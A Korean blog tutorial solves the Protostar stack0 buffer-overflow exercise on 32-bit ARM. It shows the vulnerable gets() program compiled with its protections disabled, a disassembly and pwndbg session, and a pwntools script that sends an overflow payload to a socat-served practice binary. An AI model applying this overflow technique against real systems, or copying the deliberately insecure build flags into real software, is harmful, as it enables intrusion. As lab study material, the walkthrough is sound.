ARM Exploitation

ARM32 Exploit Exercies - Protostar_stack0

32 비트 ARM 바이너리에 대한 exploit을 공부하고자 하는 오래된 열망을 이제 조금씩 실천해보고자 한다. 인텔에 비해 비교적 arm은 자료가 잘 없다. 그래서 직접 만들거나 포팅을 하려고 한다. exploit-exercies 에는 stack 및 heap 그리고 format string 을 실습해볼 수 있는 다양한 예제가 있어서 좋다. 원본은 intel x86에서 구현되었으나 다행히 소스코드가 제공되어 있으므로, 이를 직접 arm 장비에서 다시 컴파일하면 된다. 이때 일부 소스코드에서 발생하는 오류 메시지나 컴파일 옵션들을 적절하게 수정하였다.

그럼 이번 포스팅에서 첫 문제부터 시작해보자.

1. 원본 소스코드

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if (modified != 0)
  {
    printf("you have changed the 'modified' variable\n");
  }
  else
  {
    printf("Try again?\n");
  }
}

소스코드는 위와 같이 단순하다. modified 라는 변수가 0으로 초기화되어있는데, 이 값이 0이 아닌 경우에만 성공 메시지가 표출된다. 이를 해결하려면 메모리 상에서 modified 변수 값을 수정해야 할 것이다. 자세한 동작은 아래 풀이과정에서 다룬다.

2. Compile(Raspberry pi / arm)

$ gcc -o stack0 -fno-stack-protector -z execstack -z norelro -no-pie stack0.c -Wno-implicit-function-declaration
/usr/bin/ld: /tmp/ccE0nxXJ.o: in function `main':
stack0.c:(.text+0x24): warning: the `gets' function is dangerous and should not be used.

raspberry pi 3에서 32 bit linux os 가 설치된 환경을 기준으로 위와 같이 컴파일한다. 이때 사용된 옵션을 간략히 설명하면 아래와 같다.

  • -fno-stack-protector : 스택이 넘치는 것을 방지하기 위한 보안 메커니즘. 설정을 해제한다.
  • -z execstack : 스택의 내용을 실행할 수 없도록 한 일명 nx. 설정을 해제한다.
  • -z norelro : relro 설정을 해제한다.
  • -no-pie : pie 설정을 해제한다.
  • -Wno-implicit-function-declaration : gets 등 deprecated 된 함수에 대한 경고를 무시한다.

현대의 linux 환경은 그 자체로 진화를 거듭하며 일부 보안 메커니즘을 default 로 탑재하기 시작했다. 하지만 이 예제에서는 의도적으로 취약한 프로그램을 만들어야 실습을 할 수 있으므로 보안 메커니즘을 적용하지 않은 채로 컴파일하는 것이다.

3. 실행

$ ./stack0
abcdefg
Try again?

컴파일 된 바이너리를 실행하면 사용자의 입력을 기다린다. 사용자가 입력한 결과가 프로그램의 의도에 부합하지 않으면 Try again? 메시지를 띄우고 종료된다. 

4. 디스어셈블 분석

소스코드가 주어진 환경이므로 사실상 프로그램 구조는 다 파악이 가능한 상황이나, CTF나 Real-world Bug hunting 상황에서는 소스코드를 기대할 수 없으므로, 바이너리에서 디스어셈블하는 연습이 필요하다. 보통은 objdump를 사용하거나, gdb를 통해 disass 를 수행하면 된다.

여기에서는 radare2라는 도구를 통해 보다 개선된 방식으로 main 함수의 내용을 디스어셈블해보았다.

코드 자체가 길지는 않다. 약간씩 나누어서 이해해보자.

1) 함수 프롤로그

함수 프롤로그는 프로그램의 기존 상태를 저장하고, 함수 내에서 사용할 지역 변수들을 위한 공간을 스택에 마련하는 과정이다.

0x00010414      00482de9       push {fp, lr}
0x00010418      04b08de2       add fp, sp, 4
0x0001041c      50d04de2       sub sp, sp, 0x50

fp(Frame Pointer, R11 레지스터)  와 lr(Link Reginster, R14 레지스터) 를 스택에 저장한다. 그리고 스택 프레임의 바닥을 설정한다. 이후 sp를 조절하여 스택으로 사용할 공간을 확보한다.

2) main 함수 body

이어지는 프로그램의 동작을 살펴보자. 대체적으로 단순한 구조를 이룬다.

0x00010420 <+12>:    str    r0, [r11, #-80]    ; 0xffffffb0
0x00010424 <+16>:    str    r1, [r11, #-84]    ; 0xffffffac

위의 두 코드는 각각 r0과 r1에 argc 와 argv 를 설정한다. 실제 디버거를 통해 확인해보면 r0에는 1이 할당되고, r1에는 '/home/pi/arm_exploitation/stack/stack0/stack0' 이 할당되어 있다.

0x00010428 <+20>:    mov    r3, #0
0x0001042c <+24>:    str    r3, [r11, #-8]
0x00010430 <+28>:    sub    r3, r11, #72    ; 0x48
0x00010434 <+32>:    mov    r0, r3
0x00010438 <+36>:    bl    0x102e8 <gets@plt>
0x0001043c <+40>:    ldr    r3, [r11, #-8]

이어서 r3 레지스터가 가리키는 위치에 대하여 gets 함수를 호출한다. 이 함수는 사용자로부터 문자열을 입력받는 함수이다. 하지만 이 함수는 취약한 함수로, C11표준에서 삭제되었다. 때문에 현재는 실무에서 사용하지 않아야 할 함수다. 다만 여기에서는 취약한 프로그램을 확인해보기 위하여 의도적으로 사용한 것이다. 이 때문에 현재의 gcc 컴파일러에서 warning: the `gets' function is dangerous and should not be used. 이라는 경고메시지를 표출하는 것이다. 

0x00010440 <+44>:    cmp    r3, #0
0x00010444 <+48>:    beq    0x10454 <main+64>
0x00010448 <+52>:    ldr    r0, [pc, #28]    ; 0x1046c <main+88>
0x0001044c <+56>:    bl    0x102f4 <puts@plt>
0x00010450 <+60>:    b    0x1045c <main+72>
0x00010454 <+64>:    ldr    r0, [pc, #20]    ; 0x10470 <main+92>
0x00010458 <+68>:    bl    0x102f4 <puts@plt>

이후 cmp 비교를 통해 r3 레지스터에 저장된 값이 0과 같은지 확인한다. 그 결과가 참인지 거짓인지에 따라 조건 분기가 발생하며 각각 다른 내용의 문자열을 puts로 출력한다. 성공하면 "you have changed the 'modified' variable\n"가 표출되고, 틀리면 "Try again?\n"이 나온다.

0x0001045c <+72>:    mov    r3, #0
0x00010460 <+76>:    mov    r0, r3

사용했던 레지스터를 다시 초기화하는 것으로 큰 의미는 없다.

3) 함수 에필로그

0x00010464      04d04be2       sub sp, fp, 4
0x00010468      0088bde8       pop {fp, pc}

함수 에필로그는 프로그램의 상태를 해당 함수로 진입하기 이전으로 되돌려놓는 과정이다. 이때 스택 포인터 역시 원상 복구되어야 한다. stack pointer 를 조절할 때에는 frame pointer를 기준으로 add 또는 sub 등으로 맞출 수 있다. 이후 pop 명령을 통해 스택에 저장해두었던 값을 가져와서 해당 레지스터에 할당한다.


5. 문제 풀이

이 문제는 말 그대로 arm linux 상에서의 stack 구조를 이해하면 풀 수 있다. 우선 azeria labs 홈페이지의 설명을 읽어보길 추천한다. 아래와 같은 구조로 stack frame 이 형성된다. stack frame 안에서 지역 변수들이 선언된다.

이미지 출처 : https://azeria-labs.com/stack-overflow-arm32/

이 문제의 경우를 예시로 하여 그려보면 아래와 같다. 먼저 modified 라는 변수가 선언된 후 값을 0으로 초기화했다. 이어서 buffer라는 배열이 선언되었는데 크기가 64이다. buffer 배열에는 gets()함수를 통해 사용자의 입력이 들어갈 것이다.

참고로 바이너리 분석이나 포너블 문제에서 가끔 블로그나 심지어 책의 경우에도 설명이 아주 부정확한 경우가 많다. 예를 들어 함수가 호출될 때 스택 안에 ebp(intel)라던지 fp, lr(arm) 레지스터가 들어있는 것처럼 그림을 그려놨다. 그 저자는 컴퓨터의 메모리 상의 스택, 힙과 CPU 레지스터의 상호작용에 대한 큰 그림을 이해하지 못한 것이다. 정확히 말하면 해당 시점의 레지스터 값을 복사해서 스택에 저장해두는 것이지, 스택 안에 레지스터가 들어가 있는 게 아니다. 표현 자체를 saved 혹은 previous register라고 해야 한다. 해당 함수의 작업이 종료되고 에필로그 시점에 스택에서 pop 된 값이 다시 각각의 레지스터로 들어가는 것인데, 이때 stack overflow가 발생하면 기존의 saved register 중 lr과 같이 program counter의 역할을 할 예정인 대상 값을 임의의 주소로 고쳐버릴 수도 있다.

stack overflow 를 수행해보자. 사용자가 Buffer에 입력하는 값은 0x7efff43c 주소부터 시작해서 저장되기 시작하는데, 그 크기가 64까지인지를 체크하지 않는다(gets 함수의 취약점). 그렇다면 64를 넘어서게 되면 그 뒤에 있던 modified 변수의 공간을 침범하게 된다. (아래 그림 참조)

이미지 출처 : https://azeria-labs.com/stack-overflow-arm32/

그렇다면 실제로 modified 값을 변조해보자.

먼저 임의의 내용을 가진 길이 64의 문자열을 생성해보자. pwndbg에서 제공하는 cyclic 을 사용하면 편리하다.

$ cyclic 64
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa

cyclic 결과물을 복사해두고 디버거를 통해 대상 프로그램을 실행한다. gdb의 확장 버전인 pwndbg를 이용했다.

$ gdb -q ./stack0
pwndbg> disass main 
Dump of assembler code for function main:
   0x00010414 <+0>:    push    {r11, lr}
   0x00010418 <+4>:    add    r11, sp, #4
   0x0001041c <+8>:    sub    sp, sp, #80    ; 0x50
   0x00010420 <+12>:    str    r0, [r11, #-80]    ; 0xffffffb0
   0x00010424 <+16>:    str    r1, [r11, #-84]    ; 0xffffffac
   0x00010428 <+20>:    mov    r3, #0
   0x0001042c <+24>:    str    r3, [r11, #-8]
   0x00010430 <+28>:    sub    r3, r11, #72    ; 0x48
   0x00010434 <+32>:    mov    r0, r3
   0x00010438 <+36>:    bl    0x102e8 <gets@plt>
   0x0001043c <+40>:    ldr    r3, [r11, #-8]
   0x00010440 <+44>:    cmp    r3, #0
   0x00010444 <+48>:    beq    0x10454 <main+64>
   0x00010448 <+52>:    ldr    r0, [pc, #28]    ; 0x1046c <main+88>
   0x0001044c <+56>:    bl    0x102f4 <puts@plt>
   0x00010450 <+60>:    b    0x1045c <main+72>
   0x00010454 <+64>:    ldr    r0, [pc, #20]    ; 0x10470 <main+92>
   0x00010458 <+68>:    bl    0x102f4 <puts@plt>
   0x0001045c <+72>:    mov    r3, #0
   0x00010460 <+76>:    mov    r0, r3
   0x00010464 <+80>:    sub    sp, r11, #4
   0x00010468 <+84>:    pop    {r11, pc}
   0x0001046c <+88>:    andeq    r0, r1, r4, ror #9
   0x00010470 <+92>:    andeq    r0, r1, r0, lsl r5
End of assembler dump.
pwndbg> b * 0x00010440
Breakpoint 1 at 0x10440
pwndbg> r 
Starting program: /home/pi/arm_exploitation/stack/stack0/stack0 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa

r3레지스터의 값을 확인하는 구문이 존재하는 0x00010440 위치에 break point 를 에 설정한 후 프로그램을 실행한다. 그리고 입력값으로 cyclic 64의 내용을 붙여 넣는다. 실행이 진행되다가 break point를 만나면 pwndbg가 아래와 같이 스택 및 레지스터 내용들을 보여준다.

스택 내용만 더 자세히 확인해보자.

pwndbg> stack 20
00:0000│ sp  0x7efff330 —▸ 0x7efff4d4 —▸ 0x7efff62a ◂— '/home/pi/arm_exploitation/stack/stack0/stack0'
01:0004│     0x7efff334 ◂— 0x1
02:0008│     0x7efff338 ◂— 0x0
03:000c│ r0  0x7efff33c ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
04:0010│     0x7efff340 ◂— 'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
05:0014│     0x7efff344 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
06:0018│     0x7efff348 ◂— 'daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
07:001c│     0x7efff34c ◂— 'eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
08:0020│     0x7efff350 ◂— 'faaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
09:0024│     0x7efff354 ◂— 'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
0a:0028│     0x7efff358 ◂— 'haaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
0b:002c│     0x7efff35c ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaa'
0c:0030│     0x7efff360 ◂— 'jaaakaaalaaamaaanaaaoaaapaaa'
0d:0034│     0x7efff364 ◂— 'kaaalaaamaaanaaaoaaapaaa'
0e:0038│     0x7efff368 ◂— 'laaamaaanaaaoaaapaaa'
0f:003c│     0x7efff36c ◂— 'maaanaaaoaaapaaa'
10:0040│     0x7efff370 ◂— 'naaaoaaapaaa'
11:0044│     0x7efff374 ◂— 'oaaapaaa'
12:0048│     0x7efff378 ◂— 'paaa'
13:004c│     0x7efff37c ◂— 0x0

buffer의 실제 주소는 0x7efff33c 부터 시작되지만 편의를 위해 000c로 보여주고 있다. 000c 부터 입력되기 시작한 값들은 길이 64를 채우게 되면 004c, 즉 0x7efff37c 전까지 들어가게 된다(간격의 차이인 16진수 0x40이 곧 10진수 64이다). 그리고 그 뒤에는 0x0 값이 존재하며 이는 modified 변수일 것이다. 만약 64보다 더 긴 내용을 입력하게 되면 0x0이 차지하고 있는 영역을 침범하게 될 것이다.

이번에는 cyclic으로 65를 입력한 후 똑같이 다시 진행해보자.

pwndbg> cyclic 65
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq

pwndbg> r
Starting program: /home/pi/arm_exploitation/stack/stack0/stack0 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq

pwndbg> stack 20
00:0000│ sp  0x7efff330 —▸ 0x7efff4d4 —▸ 0x7efff62a ◂— '/home/pi/arm_exploitation/stack/stack0/stack0'
01:0004│     0x7efff334 ◂— 0x1
02:0008│     0x7efff338 ◂— 0x0
03:000c│ r0  0x7efff33c ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq'
04:0010│     0x7efff340 ◂— 'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq'
05:0014│     0x7efff344 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq'
06:0018│     0x7efff348 ◂— 'daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq'
07:001c│     0x7efff34c ◂— 'eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq'
08:0020│     0x7efff350 ◂— 'faaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq'
09:0024│     0x7efff354 ◂— 'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq'
0a:0028│     0x7efff358 ◂— 'haaaiaaajaaakaaalaaamaaanaaaoaaapaaaq'
0b:002c│     0x7efff35c ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaq'
0c:0030│     0x7efff360 ◂— 'jaaakaaalaaamaaanaaaoaaapaaaq'
0d:0034│     0x7efff364 ◂— 'kaaalaaamaaanaaaoaaapaaaq'
0e:0038│     0x7efff368 ◂— 'laaamaaanaaaoaaapaaaq'
0f:003c│     0x7efff36c ◂— 'maaanaaaoaaapaaaq'
10:0040│     0x7efff370 ◂— 'naaaoaaapaaaq'
11:0044│     0x7efff374 ◂— 'oaaapaaaq'
12:0048│     0x7efff378 ◂— 'paaaq'
13:004c│     0x7efff37c ◂— 0x71 /* 'q' */

pwndbg> c
Continuing.
you have changed the 'modified' variable
[Inferior 1 (process 6077) exited normally]

이번에는 004c 부분의 값이 0x0이 아니라 0x71 즉 알파벳 소문자 q로 변경되어 있다. c를 눌러서 break point를 지나 계속 진행하게 되면, modified 변수를 수정했다는 메시지가 나오며 성공한다. 참고로 설명하자면, 0x7efff37c 가 수용할 수 있는 공간은 알파벳으로 치면 4글자까지다. 그래서 64 < x <=68 의 길이를 버퍼에 채우면 정확히 modified 의 공간만을 침범하게 되고 이 문제를 풀 수 있게 된다. 예를 들어 cyclic 68을 하면 0x7efff37c ◂— 'qaaa' 이 저장되는데 실제 해당 위치 값을 보면 0x7efff37c:    0x61616171 이 저장되어 있음을 볼 수 있다. 0x61은 소문자 a이고 0x71은 q인데, qaaa를 리틀 엔디언으로 거꾸로 주입한 것이다.

만약 69이상의 내용을 채우면 어떻게 될까? 오류가 발생하며 프로그램이 강제 종료된다. 그 이유는 다음번 문제에서 알 수 있을 것이다.

이 문제의 경우 디버거만으로 값을 입력하여 바로 해결 할수 있지만, 향후 다른 exploit 개발을 연습하는 차원에서 pwntools 를 이용한 payload 전송 template 코드를 만들어보았다. 

참고로 pwntools는 64비트 OS에서 지원되고 있으며 현재 Python2 언어가 아닌 3용을 권고하고 있다. 하지만 지금 테스트 대상 장비인 라즈베리 파이는 32비트 arm 환경이므로, 바이너리를 socat으로 서비스를 하는 용도로 사용하였다. 그리고 원격지에서 pwntools의 remote 기능을 통해 target server에 접속하여 payload를 전송하는 시나리오로 풀면 된다. 실제 root-me 같은 사이트들도 이런 식으로 문제가 운영되므로 향후 CTF 출전을 염두한다면 이런 식의 풀이에 익숙해져야 한다. 

라즈베리 파이에서 아래의 명령어로 stack0 바이너리를 수행한다. 백그라운드에서 계속 서비스가 작동된다. 특별히 예기치 못한 사유로 강제 종료되는 경우 라즈베리 파이에서 다시 실행해주어야 한다.

$ sudo apt-get install socat
$ cd arm_exploitation/stack/stack0/
$ socat TCP-LISTEN:9998,reuseaddr,fork EXEC:./stack0 &

자신의 환경(나의 경우 Ubuntu 16.04, macOS 등 64비트 운영체제에서 Python 3을 설치하였다)에서 아래의 코드를 수행한다.

# Tested on 64bit Ubuntu, macOS
# Target : 32bit ARM, Raspberry Pi, Raspbian OS 
# Python 3.7.6
# pwntools 4.2.1

from pwn import *
import time

target = remote("target ip", 9998)

# Creating Payload
g = cyclic_gen()
payload = g.get(65) # Recommended value : 65, 66, 67, 68

print("payload len : {}".format(len(payload)))
print("paylaod     : {}".format(payload))

# Sending Payload
print("[+] Sending payload..")
target.sendline(payload)
sleep(1)

# Receiving msg
print("Received   :")
print(target.recvline())

결과는 아래와 같다.

$ python3 stack0.py
payload len : 65
paylaod     : b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq'
[+] Sending payload..
Received   :
b"you have changed the 'modified' variable\n"

성공 메시지를 잘 수신하였다.

6. 결론

우선 이번 stack0 문제는 단순히 buffer 배열을 너머 modified 값이 기존의 0과 달라졌는지 여부만을 점검한다. 하지만 좀 더 확장하면 modified 변수에 특정한 값을 의도적으로 할당한다던지, 그 뒤에 저장되어 있는 기존 FP 및 LR의 값을 변조하는 것도 가능하며 이는 곧 Program Counter 를 조작하여 Return Address 를 바꿔버리는 것으로 이어진다. 이러한 상황은 이어질 stack1 ~ stack7 문제를 통해 하나씩 살펴볼 예정이다.


Software Security Engineer

CPUU 님의 창작활동을 응원하고 싶으세요?

CPUU의 Daydreamin'
CPUU의 Daydreamin'
구독자 220

0개의 댓글

SNS 계정으로 간편하게 로그인하고 댓글을 남겨주세요.
새로운 알림이 없습니다.